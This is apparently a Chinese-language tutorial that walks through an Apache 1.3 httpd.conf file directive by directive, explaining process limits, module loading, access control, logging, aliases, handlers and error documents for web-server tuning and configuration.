  KeepAliveTimeout测试一次连接中的多次请求传输之间的时间,如果服务器已经完成了一次请求,但一直没有接收到客户程序的下一次请求,在间隔超过了这个参数设置的值之后,服务器就断开连接。可以适当调小这个数值,以尽快释放空闲的连接。但也不可太小,不然多数客户都要重新连接,将耗费 CPU时间。

MinSpareServers 5
MaxSpareServers 10

  在使用子进程处理HTTP请求的Web服务器上,由于要首先生成子进程才能处理客户的请求,因此反应时间就有一点延迟。但是,Apache服务器使用了一个特殊技术来摆脱这个问题,这就是预先生成多个空余的子进程驻留在系统中,一旦有请求出现,就立即使用这些空余的子进程进行处理,这样就不存在生成子进程造成的延迟了。在运行中随着客户请求的增多,启动的子进程会随之增多,但这些服务器副本在处理完一次HTTP请求之后并不立即退出,而是停留在计算机中等待下次请求。但是空余的子进程副本不能光增加不减少,太多的空余子进程没有处理任务,也占用服务器的处理能力,因此也要限制空余副本的数量,使其保持一个合适的数量,使得既能及时回应客户请求,又能减少不必要的进程数量。

因此就可以使用参数MinSpareServers来设置最少的空余子进程数量, 以及使用参数MaxSpareServers 来限制最多的空闲子进程数量,多余的服务器进程副本就会退出。根据服务器的实际情况来进行设置,如果服务器性能较高,并且也被频繁访问,就应该增大这两个参数的设置。对于高负载的专业网站,这两个值应该大致相同,并且等同于系统支持的最多服务器副本数量,也减少不必要的副本退出。
比如,当系统高负载时,可以这样检测:
[iaspec@www iaspec]$ ps -ef|grep apache|wc
55 .. ..
[iaspec@www iaspec]$
这表明,高负载时有55个运行子进程,如果此服务器为WEB专用服务器,就应该考虑将这两个数值分别设为50、60,或者40、70,具体以速度测试结果为准。

  StartServers 5

  StartServers参数就是用来设置httpd启动时启动的子进程副本数量,这个参数与上面定义的MinSpareServers和 MaxSpareServers参数相关,都是用于启动空闲子进程以提高服务器的反应速度的。这个参数应该设置为前两个值之间的一个数值,小于 MinSpareServers和大于MaxSpareServers都没有意义。
  MaxClients 150

在另一方面,服务器的能力毕竟是有限的,不可能同时处理无限多的连接请求,因此参数Maxclients就用于规定服务器支持的最多并发访问的客户数,如果这个值设置得过大,系统在繁忙时不得不在过多的进程之间进行切换来为太多的客户进行服务,这样对每个客户的反应就会减慢,并降低了整体的效率。如果这个值设置的较小,那么系统繁忙时就会拒绝一些客户的连接请求。当服务器性能较高时,就可以适当增加这个值的设置。对于专业网站,应该使用提高服务器效率的策略,因此这个参数不能超过硬件本身的限制,如果频繁出现拒绝访问现象,就说明需要升级服务器硬件了。当不太在意对客户浏览器的反应速度,或者认为反应速度较慢也比拒绝连接好,就也可以略微超过硬件条件来设置这个参数。
但具体这个数值以多少为宜呢?当对性能要求较高时,可以用下面的方法确定如何配置此参数。
首先,估计你的最大可能并发的连接数,或者在高负载时用ps -ef|grep apache|wc命令测得最大进程数,通常MaxClients应该是这个数值的两倍左右。如果当前网站在高负载时的访问速度可以接受,但有拒绝服务现象,则应把此参数调大,如果无拒绝服务现象,但访问速度缓慢,则应减低此数值。
这个参数同时限制了MinSpareServers和MaxSpareServers的设置,它们不应该大于这个参数的设置。
对于重负载的机器来说,仅仅这么做还是不够的。
Apache允许为请求开的最大进程数是256,MaxClients的限制是256.如果用户多了,用户就只能看到Waiting for reply….然后等到下一个可用进程的出现。这个最大数,是Apache的程序决定的–它的NT版可以有1024,但Unix版只有256,你可以在include/httpd.h中
看到:
#ifndef HARD_SERVER_LIMIT
#ifdef WIN32
#define HARD_SERVER_LIMIT 1024
#else
#define HARD_SERVER_LIMIT 256
#endif
#endif
你可以把它调到1024,然后再编译你的系统。记得在httpd.conf里也要更改相应配置。

  MaxRequestsPerChild 30

  使用子进程的方式提供服务的Web服务,常用的方式是一个子进程为一次连接服务,这样造成的问题就是每次连接都需要生成、退出子进程的系统操作,使得这些额外的处理过程占据了计算机的大量处理能力。因此最好的方式是一个子进程可以为多次连接请求服务,这样就不需要这些生成、退出进程的系统消耗,Apache就采用了这样的方式,一次连接结束后,子进程并不退出,而是停留在系统中等待下一次服务请求,这样就极大的提高了性能。
  但由于在处理过程中子进程要不断的申请和释放内存,次数多了就会造成一些内存垃圾,就会影响系统的稳定性,并且影响系统资源的有效利用。因此在一个副本处理过一定次数的请求之后,就可以让这个子进程副本退出,再从原始的 httpd进程中重新复制一个干净的副本,这样就能提高系统的稳定性。这样,每个子进程处理服务请求次数由MaxRequestPerChild定义。缺省的设置值为30,这个值对于具备高稳定性特点的Linux系统来讲是过于保守的设置,可以设置为1000甚至更高,设置为0支持每个副本进行无限次的服务处理。

  #Listen 3000
  #Listen 12.34.56.78:80
  #BindAddress *

  Listen参数可以指定服务器除了监视标准的80端口之外,还监视其他端口的HTTP请求。由于系统可以同时拥有多个IP地址,因此也可以指定服务器只听取对某个BindAddress< /B>的IP地址的HTTP请求。如果没有配置这一项,则服务器会回应对所有IP的请求。
  即使使用了BindAddress参数,使得服务器只回应对一个IP地址的请求,但是通过使用扩展的Listen参数,仍然可以让HTTP守护进程回应对其他IP地址的请求。此时Listen参数的用法与上面的第二个例子相同。这种比较复杂的用法主要用于设置虚拟主机。此后可以用VirtualHost 参数定义对不同IP的虚拟主机,然而这种用法是较早的HTTP 1.0标准中设置虚拟主机的方法,每针对一个虚拟主机就需要一个IP地址,实际上用处并不大。在HTTP 1.1中,增加了对单IP地址多域名的虚拟主机的支持,使得虚拟主机的设置具备更大的意义。

模块变量
LoadModule mime_magic_module libexec/apache/mod_mime_magic.so
LoadModule info_module libexec/apache/mod_info.so
LoadModule speling_module libexec/apache/mod_speling.so
LoadModule proxy_module libexec/apache/libproxy.so
LoadModule rewrite_module libexec/apache/mod_rewrite.so
LoadModule anon_auth_module libexec/apache/mod_auth_anon.so
LoadModule db_auth_module libexec/apache/mod_auth_db.so
LoadModule digest_module libexec/apache/mod_digest.so
LoadModule cern_meta_module libexec/apache/mod_cern_meta.so
LoadModule expires_module libexec/apache/mod_expires.so
LoadModule headers_module libexec/apache/mod_headers.so
LoadModule usertrack_module libexec/apache/mod_usertrack.so
LoadModule unique_id_module libexec/apache/mod_unique_id.so
ClearModuleList
AddModule mod_env.c
AddModule mod_log_config.c
AddModule mod_mime_magic.c
AddModule mod_mime.c
AddModule mod_negotiation.c
AddModule mod_status.c
AddModule mod_info.c
AddModule mod_include.c
AddModule mod_autoindex.c
AddModule mod_dir.c
AddModule mod_cgi.c
AddModule mod_asis.c
AddModule mod_imap.c
AddModule mod_actions.c
AddModule mod_speling.c
AddModule mod_userdir.c
AddModule mod_proxy.c
AddModule mod_alias.c
AddModule mod_rewrite.c
AddModule mod_access.c
AddModule mod_auth.c
AddModule mod_auth_anon.c
AddModule mod_auth_db.c
AddModule mod_digest.c
AddModule mod_cern_meta.c
AddModule mod_expires.c
AddModule mod_headers.c
AddModule mod_usertrack.c
AddModule mod_unique_id.c
AddModule mod_so.c
AddModule mod_setenvif.c

Apache服务器的一个重要特性就是其模块化的结构,这不但表现为其能在编译时能通过新的模块加入新的功能,还表现为其模块可以动态加载入http服务程序中,而不必载入不需要的模块。使用Apache的动态加载模块只需要设置好Load Module和AddModule参数就可以了,这种特性就是Apache的 DSO(Dynamic Shared Object)特性,然而要想充分使用DSO特性仍然不是一个简单的事情,不适当的改动这里的设置就可能造成服务器不能正常启动。因此如果不是要增加或减少服务器提供的功能,就不要改动这里的设置。
  上面这些列表就显示了Linux下的缺省Apache服务器支持的模块,事实上很多模块是没有必要的,不必要模块不会被载入内存。模块可以静态连接到apache 服务器内部,也可以这样动态加载,将Apache的特性都编译成动态可加载模块是该Port的做法,而不是Apache的缺省做法,这样就以牺牲很小的性能的同时,带来极大的灵活性。
因而动态可加载的能力还是对性能有轻微的影响,因此可以重新编译Apache,将自己所需要的功能编译进Apache 服务器内部,可以让系统显得更为干净,效率也有轻微的提高。通常仅仅为了这一个目的就重新编译Apache是没有必要的,如果需要增加其他特性而重新编译Apache,不妨在增加其他模块的同时将所有的模块都静态连接入Apache 服务器。
这些模块都被放置到/usr/local/apache/modules/目录下, 每个模块对应Apache服务器的一个特性。详细解释每个模块的功能需要相当多的篇幅,其中比较重要的特性将在后面相应的地方中进行解释。

  #ExtendedStatus On

  Apache服务器可以通过特殊的HTTP请求,来报告自身的运行状态,在使用测试工具测试时,打开这个ExtendedStatus 参数可以让服务器报告更全面的运行状态信息.

主服务器设置
  Apache服务器需要各种设置,以定义自己使用各种参数以提供Web服务。对于使用虚拟主机的情况,除了在虚拟主机的定义项中覆盖的设置之外(有的设置必须重新定义),这里的设置也是虚拟主机的缺省设置。
  Port 80
  Port定义了Standalone模式下httpd守护进程使用的端口,标准端口是80。这个选项只对于以独立方式启动的服务器才有效,对于以inetd方式启动的服务器则在inetd.conf中定义使用哪个端口。
  在Unix下使用80端口需要root权限,一些管理员为了安全的原因,认为 httpd 服务器不可能没有安全漏洞,因而更愿意使用普通用户的权限来启动服务器,这样就不能使用80端口及其他小于1024的端口,而必须使用大于 1024的端口来启动httpd,一般情况下8000或8080也是常用的端口。而Apache httpd服务器本身可以在以root权限打开80端口后再改变为普通用户身份进行运行,这样就减少了危险性,因而就不需要考虑这个安全问题。但是如果普通用户也想安装配置自己的WWW服务器,那么就不得不使用大于1024的端口。
  User nobody
  Group nogroup
  User和Group配置是Apache的安全保证,Apache在打开端口之后,就将其本身设置为这两个选项设置的用户和组权限进行运行,这样就降低了服务器的危险性。这个选项也只用于 Standalone模式,inetd模式在inetd.conf中指定运行Apache的用户。由于服务器必须执行改变身份的setuid()操作,因此初始进程应该具备root权限,如果是使用非root用户来启动Aapche,这个配置就不会发挥作用。
  缺省设置为nobody和nogroup,这个用户和组在系统中不拥有文件,保证了服务器本身和由它启动的CGI 进程没有权限更改文件系统。在某些情况下,例如为了运行CGI与Unix交互,也需要让服务器来访问服务器上的文件,如果仍然使用nobody和 nogroup,那么系统中将会出现属于nobody的文件,这对于系统安全是不利的,因为其他程序也会以nobody和nogroup的权限执行某些操作,就有可能访问这些nobody拥有的文件,造成安全问题。一般情况下要为Web服务设定一个特定的用户和组,同时在这里更改用户和组设置。

ServerAdmin you@your.address

配置文件中应该改变的也许只有ServerAdmin,这一项用于配置WWW服务器的管理员的email地址,这将在HTTP服务出现错误的条件下返回给浏览器,以便让Web使用者和管理员联系,报告错误。习惯上使用服务器上的webmaster作为WWW服务器的管理员,通过邮件服务器的别名机制,将发送到webmaster 的电子邮件发送给真正的Web管理员。

  #ServerName new.host.name

  缺省情况下,并不需要指定这个ServerName参数,服务器将自动通过名字解析过程来获得自己的名字,但如果服务器的名字解析有问题(通常为反向解析不正确),或者没有正式的DNS名字,也可以在这里指定IP地址。当ServerName设置不正确的时候,服务器不能正常启动。
  通常一个 Web服务器可以具有多个名字,客户浏览器可以使用所有这些名字或IP地址来访问这台服务器,但在没有定义虚拟主机的情况下,服务器总是以自己的正式名字回应浏览器。ServerName就定义了Web服务器自己承认的正式名字,例如一台服务器名字(在DNS中定义了A类型)为 exmaple.org.cn,同时为了方便记忆还定义了一个别名(CNAME记录)为www.exmaple.org.cn,那么Apache自动解析得到的名字就为example.org.cn,这样不管客户浏览器使用哪个名字发送请求,服务器总是告诉客户程序自己为 example.org.cn。虽然这一般并不会造成什么问题,但是考虑到某一天服务器可能迁移到其他计算机上,而只想通过更改DNS中的www别名配置就完成迁移任务,所以不想让客户在其书签中使用 Linux 记录下这个服务器的地址,就必须使用ServerName来重新指定服务器的正式名字。

  DocumentRoot "/www/"

  DocumentRoot定义这个服务器对外发布的超文本文档存放的路径,客户程序请求的UR L就被映射为这个目录下的网页文件。这个目录下的子目录,以及使用符号连接指出的文件和目录都能被浏览器访问,只是要在URL上使用同样的相对目录名。
  注意,符号连接虽然逻辑上位于根文档目录之下,但实际上可以位于计算机 上的任意目录中,因此可以使客户程序能访问那些根文档目录之外的目录,这在增加了灵活性的同时但减少了安全性。Apache在目录的访问控制中提供了FollowSymLinks选项来打开或关闭支持符号连接的特性。

Options FollowSymLinks
AllowOverride None

  Apache服务器可以针对目录进行文档的访问控制,然而访问控制可以通过两种方式来实现,一个是在设置文件 httpd.conf(或access.conf)中针对每个目录进行设置,另一个方法是在每个目录下设置访问控制文件,通常访问控制文件名字为. htaccess。虽然使用这两个方式都能用于控制浏览器的访问,然而使用配置文件的方法要求每次改动后重新启动httpd守护进程,比较不灵活,因此主要用于配置服务器系统的整体安全控制策略,而使用每个目录下的.htaccess文件设置具体目录的访问控制更为灵活方便。
   Directory语句就是用来定义目录的访问限制的,这里可以看出它的标准语法,为一个目录定义访问限制。上例的这个设置是针对系统的根目录进行的,设置了允许符号连接的选项FollowSymLinks ,以及使用AllowOverride None表示不允许这个目录下的访问控制文件来改变这里进行的配置,这也意味着不用查看这个目录下的相应访问控制文件。
  由于Apache对一个目录的访问控制设置是能够被下一级目录继承的,因此对根目录的设置将影响到它的下级目录。注意由于AllowOverride None的设置,使得Apache服务器不需要查看根目录下的访问控制文件,也不需要查看以下各级目录下的访问控制文件,直至httpd.conf(或access.conf )中为某个目录指定了允许Alloworride,即允许查看访问控制文件。由于Apache对目录访问控制是采用的继承方式,如果从根目录就允许查看访问控制文件,那么Apache就必须一级一级的查看访问控制文件,对系统性能会造成影响。而缺省关闭了根目录的这个特性,就使得Apache从httpd.conf中具体指定的目录向下搜寻,减少了搜寻的级数,增加了系统性能。因此对于系统根目录设置AllowOverride None不但对于系统安全有帮助,也有益于系统性能。

Options Indexes FollowSymLinks
AllowOverride None
order allow,deny
Allow from all

  这里定义的是系统对外发布文档的目录的访问设置,设置不同的 AllowOverride选项,以定义配置文件中的目录设置和用户目录下的安全控制文件的关系,而Options选项用于定义该目录的特性。
配置文件和每个目录下的访问控制文件都可以设置访问限制,设置文件是由管理员设置的,而每个目录下的访问控制文件是由目录的属主设置的,因此管理员可以规定目录的属主是否能覆盖系统在设置文件中的设置,这就需要使用 啊AllowOverride参数进行设置,通常可以设置的值为: AllowOverride的设置 对每个目录访问控制文件作用的影响All 缺省值,使访问控制文件可以覆盖系统配置
None 服务器忽略访问控制文件的设置
Options 允许访问控制文件中可以使用Options参数定义目录的选项
FileInfo 允许访问控制文件中可以使用AddType等参数设置
AuthConfig 允许访问控制文件使用AuthName,AuthType等针对每个用户的认证机制,这使目录属主能用口令和用户名来保护目录 Limit 允许对访问目录的客户机的IP地址和名字进行限制
  每个目录具备一定属性,可以使用Options来控制这个目录下的一些访问特性设置,以下为常用的特性选项:
Options设置 服务器特性设置
All 所有的目录特性都有效,这是缺省状态
None 所有的目录特性都无效
FollowSymLinks 允许使用符号连接,这将使浏览器有可能访问文档根目录 (DocumentRoot)之外的文档 SymLinksIfOwnerMatch 只有符号连接的目的与符号连接本身为同一用户所拥有时,才允许访问,这个设置将增加一些安全性
ExecCGI 允许这个目录下可以执行CGI程序 Indexes 允许浏览器可以生成这个目录下所有文件的索引,使得在这个目录下没有index.html(或其他索引文件)时,能向浏览器发送这个目录下的文件列表
 此外,上例中还使用了Order、Allow、Deny等参数,这是Limit语句中用来根据浏览器的域名和 IP地址来控制访问的一种方式。其中Order定义处理Allow和Deny的顺序,而Allow、Deny则针对名字或IP进行访问控制设置,上例使用 allowfrom all,表示允许所有的客户机访问这个目录,而不进行任何限制。

  UserDir public_html
  当在一台Linux上运行Apache服务器时,这台计算机上的所有用户都可以有自己的网页路径,形如 http://example.org.cn/~user,使用波浪符号加上用户名就可以映射到用户自己的网页目录上。映射目录为用户个人主目录下的一个子目录,其名字就用UseDir这个参数进行定义,缺省为public_html。如果不想为正式的用户提供网页服务,使用DISABLED作UserDir的参数即可。

# AllowOverride FileInfo AuthConfig Limit
# Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
# order allow,deny
# Allow from all
# order deny,allow
# Deny from all

  这里可以看到Directory的另一个用法,即可以通过简单的模式匹配方法,针对分布在不同目录下的子目录定义访问控制权限。这样设置就需要Apache服务器对每个路径进行额外的处理,因此就会降低服务器的性能,所以缺省情况并没有打开这种访问限制。
 这里可以看到另外一个语句Limit,Limit语句就是用来针对具体的请求方法来设定访问控制的,其中可以使用GET、POST等各种服务器支持的请求方法做Limit的参数,来设定对不同请求方法的访问限制。一般可以打开对GET、POST、 HEAD三种请求方法,而屏蔽其他的请求方法,以增加安全性。Limit语句中,可以用Order 、Allow、Deny,Allow和Deny中可以使用匹配的方法针对域名和IP进行限制,只是对于域名是从后向前匹配,对于IP地址则从前向后匹配。

  DirectoryIndex index.html

  很多情况下,URL中并没有指定文档的名字,而只是给出了一个目录名。那么Apache服务器就自动返回这个目录下由DirectoryIndex定义的文件,当然可以指定多个文件名字,系统会这个目录下顺序搜索。当所有由DirectoryIndex指定的文件都不存在时,Apache服务器可以根据系统设置,生成这个目录下的所有文件列表,提供用户选择。此时该目录的访问控制选项中的Indexes选项(Options Indexes )必须打开,以使得服务器能够生成目录列表,否则Apache将拒绝访问。

  AccessFileName .htaccess
  AccessFileName定义每个目录下的访问控制文件的文件名,缺省为.htaccess,可以通过更改这个文件,来改变不同目录的访问控制限制。

order allow,deny
Deny from all

  除了可以针对目录进行访问控制之外,还可以根据文件来设置访问控制,这就是File语句的任务。使用File 语句,不管文件处于哪个目录,只要名字匹配,就必须接受相应的访问控制。这个语句对于系统安全比较重要,例如上例将屏蔽所有的使用者不能访问.htaccess文件,这样就避免.htaccess中的关键安全信息不至于被客户获取。

  #CacheNegotiatedDocs

  缺省情况下如果代理服务器和Apache服务器协商是否缓存其网页,Apache给予否定的回答,不希望自己的网页被代理服务器缓存。然而这样就不能有效的利用代理服务器的优势,因此可以设置CacheNegotiatieDocs 选项, 使得代理服务器可以对网页进行缓存。然而即使不设置这个选项,有的代理服务器(或通过调整设置)也能对网页进行缓存。

  UseCanonicalName On

  打开这个UseCanonicalName是Web服务器的标准做法,因为客户发送的大部分请求都是对本服务器的引用,这样服务器就能使用 ServerName和Port选项的设置内容构建完整的URL,并回应客户,使浏览器能得到规范的URL。如果将这个参数设置为Off,那么Apache将使用从客户请求中获得服务器的名字和端口值(支持HTTP 1.1的客户的请求中将会有这些信息),重新构建URL。

  TypesConfig /etc/mime.types

  TypeConfig用于设置保存有不同的MIME类型数据的文件名,在Linux下缺省设置为/usr/local/apache/etc/mime.types 或者/etc/mime.types。

  DefaultType text/plain

  如果Web服务器不能决定一个文档的缺省类型,这通常表示文档使用了非标准的后缀,那么服务器就使用 DefaultType定义的MIME类型将文档发送给客户浏览器。这里的设置为text/plain,这样设置的问题是,如果服务器不能判断出文档的 MIME,那么大部分情况下这个文档为一个二进制文档,但使用 text/plain格式发送回去,浏览器将在内部打开它而不会提示保存。因此建议将这个设置更改为application/octet-stream,这样浏览器将提示用户进行保存。
MIMEMagicFile /usr/share/magic

除了从文件的后缀出发来判断文件的MIME类型之外,Apache还可以进一步分析文件的一些特征,来判断文件的真实MIME类型。这个功能是由mod_mime_magic 模块实现的,它需要一个记录各种MIME类型特征的文件,以进行分析判断。上面的设置是一个条件语句,如果载入了这个模块,就必须指定相应的标志文件 magic的位置。

HostnameLookups Off
通常连接时,服务器仅仅可以得到客户机的IP地址,如果要想获得客户机的主机名,以进行日志记录和提供给 CGI程序使用,就需要使用这个HostnameLookups 选项,将其设置为On打开DNS反查功能。但是这将使服务器对每次客户请求都进行DNS查询,增加了系统开销,使得反应变慢,因此缺省设置为使用Off关闭此选项。关闭选项之后,服务器就不会获得客户机的主机名,而只能使用IP地址来记录客户。

ErrorLog /var/log/httpd-error.log
LogLevel warn
LogFormat "%h %l %u %t "%r" %>s %b "%{Referer}i" "%{User-Agent} "" combined
LogFormat "%h %l %u %t "%r" %>s %b" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
#CustomLog /var/log/httpd-access.log common
#CustomLog /var/log/httpd-referer.log referer
#CustomLog /var/log/httpd-agent.log agent
CustomLog /var/log/httpd-access.log combined

  这里定义了系统日志的形式,对于服务器错误记录, 由ErrorLog、 LogLevel 来定义不同的错误日志文件及其记录内容。
  对于系统的访问日志,缺省使用CustomLog参数定义日志的位置,缺省使用 combined 参数指定将所有的访问日志放在一个文件中,然而也可以将不同种类的访问日志放在不同的日志记录文件中,这是通过在 CustomLog中指定不同的记录类型来完成的。common表示普通的对单页面请求访问记录,referer表示每个页面的引用记录,可以看出一个页面中包含的请求数,agent表示对客户机的类型记录,显然可以将现有的combined 定义的设置行注释掉,并使用common、referer和agent作为CustomLog的参数,来为不同种类的日志分别指定日志记录文件。
  显然,LogFormat是用于定义不同类型的日志进行记录时使用的格式, 这里使用了以%开头的宏定义,以记录不同的内容。 如果这些参数指定的文件使用的是相对路径,那么就是相对于ServerRoot的路径。

ServerSignature On
  一些情况下,例如当客户请求的网页并不存在时,服务器将产生错误文档,缺省情况下由于打开了 ServerSignature选项,错误文档的最后一行将包含服务器的名字、Apache的版本等信息。有的管理员更倾向于不对外显示这些信息,就可以将这个参数设置为Off,或者设置为Email,最后一行将替换为对 ServerAdmin 的Email提示。

Alias /icons/ "/www/icons/"
Options Indexes MultiViews
AllowOverride None
order allow,deny
Allow from all

  Alias参数用于将URL与服务器文件系统中的真实位置进行直接映射,一般的文档将在DocumentRoot 中进行查询,然而使用Alias定义的路径将直接映射到相应目录下,而不再到DocumentRoot 下面进行查询。因此Alias可以用来映射一些公用文件的路径,例如保存了各种常用图标的icons路径。这样使得除了使用符号连接之外,文档根目录(DocumentRoot)外的目录也可以通过使用了Alias映射,提供给浏览器访问。 定义好映射的路径之后,应该需要使用Directory语句设置访问限制。

ScriptAlias /cgi-bin/ "/www/cgi-bin/"
AllowOverride None
Options None
order allow,deny
Allow from all

  ScriptAlias也是用于URL路径的映射,但与Alias的不同在于,ScriptAlias 是用于映射CGI程序的路径,这个路径下的文件都被定义为CGI程序,通过执行它们来获得结果,而非由服务器直接返回其内容。缺省情况下CGI程序使用 cgi-bin目录作为虚拟路径。

# Redirect old-URI new-URL
  Redirect参数是用来重写URL的,当浏览器访问服务器上的一个已经不存在的资源的时候,服务器返回给浏览器新的URL,告诉浏览器从该URL中获取资源。这主要用于原来存在于服务器上的文档,改变了位置之后,而又希望能使用老URL能访问到,以保持与以前的URL兼容。

IndexOptions FancyIndexing
AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip
AddIconByType (TXT,/icons/text.gif) text/*
AddIconByType (IMG,/icons/image2.gif) image/*
AddIconByType (SND,/icons/sound2.gif) audio/*
AddIconByType (VID,/icons/movie.gif) video/*
AddIcon /icons/binary.gif .bin .exe
AddIcon /icons/binhex.gif .hqx
AddIcon /icons/tar.gif .tar
AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv
AddIcon /icons/compressed.gif .Z .z .tgz .gz .zip
AddIcon /icons/a.gif .ps .ai .eps
AddIcon /icons/layout.gif .html .shtml .htm .pdf
AddIcon /icons/text.gif .txt
AddIcon /icons/c.gif .c
AddIcon /icons/p.gif .pl .py
AddIcon /icons/f.gif .for
AddIcon /icons/dvi.gif .dvi
AddIcon /icons/uuencoded.gif .uu
AddIcon /icons/script.gif .conf .sh .shar .csh .ksh .tcl
AddIcon /icons/tex.gif .tex
AddIcon /icons/bomb.gif core
AddIcon /icons/back.gif ..
AddIcon /icons/hand.right.gif README
AddIcon /icons/folder.gif ^^DIRECTORY^^
AddIcon /icons/blank.gif ^^BLANKICON^^
DefaultIcon /icons/unknown.gif
#AddDescription "GZIP compressed document" .gz
#AddDescription "tar archive" .tar
#AddDescription "GZIP compressed tar archive" .tgz
ReadmeName README
HeaderName HEADER
IndexIgnore .??* *~ *# HEADER* README* RCS CVS *,v *,t
当一个HTTP请求的URL为一个目录的时候,服务器返回这个目录中的索引文件。但如果一个目录中不存在缺省的索引文件,并且该服务器又许可显示目录文件列表的时候,就会显示出这个目录中的文件列表,为了使得这个文件列表能具有可理解性,而不仅仅是一个简单的列表,就需要前面的这些设置参数。如果使用了 IndexOptions FancyIndexing选项,可以让服务器产生的目录列表中针对各种不同类型的文档引用各种图标。而哪种文件使用哪种图标,则使用下面的 AddIconByEncoding、AddIconByType以及AddIcon来定义,分别依据MIME 的编码、类型以及文件的后缀来判断使用何种图标。如果不能确定文档使用的图标,就使用 DefaultIcon定义的缺省图标。
  同样,使用AddDescription可以为不同类型的文档加入不同的描述。并且,服务器还在目录下,查询使用ReadmeName和HeaderName定义的文件(自动加上 .html后缀,如果没有发现,再使用.txt后缀进行搜索),如果发现了这些文件,就在文件列表之前首先显示这些文件的内容,以使得普通目录列表具备更大的可理解性。
  IndexIgnore让服务器在列出文件列表时忽略相应的文件, 这里使用模式配置的方式定义文件名。

AddEncoding x-compress Z
AddEncoding x-gzip gz

  AddEncoding用于告诉一些使用压缩的MIME类型,这样可以让浏览器进行解压缩操作。

AddLanguage en .en
AddLanguage fr .fr
AddLanguage de .de
AddLanguage da .da
AddLanguage el .el
AddLanguage it .it
LanguagePriority en fr de

  一个HTML文档可以同时具备多个语言的版本,如对于file1.html文档可以具备file1.html.en、file1.html.fr 等不同的版本,每个语言后缀必须使用 AddLanguage进行定义。这样服务器可以针对不同国家的客户,通过与浏览器进行协商,发送不同的语言版本。而LanguagePriority 定义不同语言的优先级,以便在浏览器没有特殊要求时,按照顺序使用不同的语言版本回应对file1.html 的请求。这个国际化的能力实际的应用并不多。
#AddType application/x-httpd-php .phtml
#AddType application/x-httpd-php-source .phps

 AddType参数可以为特定后缀的文件指定MIME类型,这里的设置将覆盖 mime.types中的设置。

#AddHandler cgi-script .cgi
  AddHandler是用于指定非静态的处理类型,用于定义文档为一个非静态的文档类型,需要进行处理,再向浏览器返回处理结果。例如上面注释中的设置是将以.cgi结尾的文件设置为cgi-script类型,那么服务器将启动这个CGI程序以进行处理。如果需要在前面AliasScript定义的路径之外执行CGI程序,就需要使用这个参数进行设置,此后以.cgi结尾的文件将被当作CGI程序执行。在配置文件、这个目录中的.htaccess以及其上级目录的.htaccess中必须允许执行CGI程序,这需要通过Options ExecCGI参数设定。

#AddType text/html .shtml
#AddHandler server-parsed .shtml

  另外一种动态进行处理的类型为server-parsed,由服务器自身预先分析网页内的标记,将标记更改为正确的HTML标识。由于server- parsed需要对text/html 类型的文档进行处理,因此首先定义了对应的.shtml为text/html类型。
  然而要支持SSI,还要首先要在配置文件(或.htaccess)中使用Options Includes允许该目录下的文档可以为SSI类型,或使用Options IncludesNOExec让执行普通的SSI标志,但不执行其中引用的外部程序。
  另一种指定server-parsed类型的方式为使用XBitBack设置选项,如果将 XBitHack设置为On,服务器将检查所有text/html类型的文档(包括.html后缀的文档),如果发现文件属性具备执行位 “x",则服务器就认为它是服务器分析文档,需要服务器进行处理。推荐使用AddHandler进行设置,而将XBitBack 设置为Off,因为使用XBitBack将对所有的HTML文档都执行额外的检查,降低了效率。

#AddHandler send-as-is asis
#AddHandler imap-file map
#AddHandler type-map var

上面被注释的AddHandler用于支持Apache服务器的asis、map和var处理能力

# Action media/type /cgi-script/location
# Action handler-name /cgi-script/location

 因为Apache内部提供的处理功能有限,因此可以使用Action为服务器定义外部程序作为可处理的动态文档类型,这些外部程序与标准CGI程序相同,都是对输入的数据处理之后,再输出不同MIME类型的结果。例如要定义一个对特殊后缀wri都先执行wri2txt进行处理操作,再返回结果的操作,可以使用:
Action windows-writer /bin/wri2txt
AddHandler windows-writer wri
 更进一步,可以直接使用Action定义对某个MIME类型预先进行处理操作,这需要例子中第一种格式的Action 参数设置方式。这样设置方式就不再需要额外的AddHandler用来将处理操作与文件后缀联系起来,而是使用Action直接处理MIME类型的文件。但如果文档后缀没有正式的MIME类型,还需要先定义一个MIME类型。

#MetaDir .web
#MetaSuffix .meta

 Meta 信息是在文档发送给客户之前,预先发送给客户浏览器一些数据,因此浏览器可以通过HEAD请求来访问这些Meta信息而不必真正通过GET来返回全部文档数据。服务器通常发送给浏览器的是一些标准的HTTP头信息,如果要想增加额外的信息,就需要使用MetaDir来定义Meta数据存放的目录,而MetaS uffix用于指定包含Meta数据的文件后缀。

#ErrorDocument 500 "The server made a boo boo.
#ErrorDocument 404 /missing.html
#ErrorDocument 404 /cgi-bin/missing_handler.pl
#ErrorDocument 402
http://some.other_server.com/subscription_info.html
  如果客户请求的网页不存在,或者没有访问权限等情况发生时,服务器将产生一个错误代码,同时也将回应客户浏览器一个标识错误的网页。 ErrorDocument就用于设置当出现哪个错误时应该回应客户浏览器那些内容,ErrorDocument的第一个参数为错误的序号,第二个参数为回应的数据,可以为简单的文本,本地网页,本地CGI程序,以及远程主机上的网页。

BrowserMatch "Mozilla/2" nokeepalive
BrowserMatch "MSIE 4.0b2;" nokeepalive downgrade-1.0 force-response-1.0
BrowserMatch "RealPlayer 4.0" force-response-1.0
BrowserMatch "Java/1.0" force-response-1.0
BrowserMatch "JDK/1.0" force-response-1.0

 BrowserMatch命令为特定的客户程序,设置特殊的参数,以保证对老版本浏览器的兼容性,并支持新浏览器的新特性。

# SetHandler server-status
# order deny,allow
# Deny from all
# Allow from .your_domain.com
# SetHandler server-info
# order deny,allow
# Deny from all
# Allow from .your_domain.com
## Deny from all
# ErrorDocument 403 http://phf.apache.org/phf_abuse_log.cgi

用于设置访问控制的设置主要是针对目录和文件进行设置的,然而也可以针对不同的URL进行访问控制的设置,这样就不必担心ScriptAlias、 Alias是否将路径设置到了受控制的目录之外了。针对URL进行控制的语句为 Location语句,这样不但能对服务器上的文件、CGI提供保护,此外,它还能保护不能找到对应文件,而是由服务器本身提供的特殊功能URL。http://servername/server-status用于报告当前Apache服务器的状态,http://servername/server-info用于报告Apache 服务器的统计信息。与此相关的设置还有ExtendedStatus参数,可以让服务器输出更详细的的报告。

#ProxyRequests On
# order deny,allow
# Deny from all
# Allow from .your_domain.com
#ProxyVia On
#CacheRoot "/www/proxy"
#CacheSize 5
#CacheGcInterval 4
#CacheMaxExpire 24
#CacheLastModifiedFactor 0.1
#CacheDefaultExpire 1
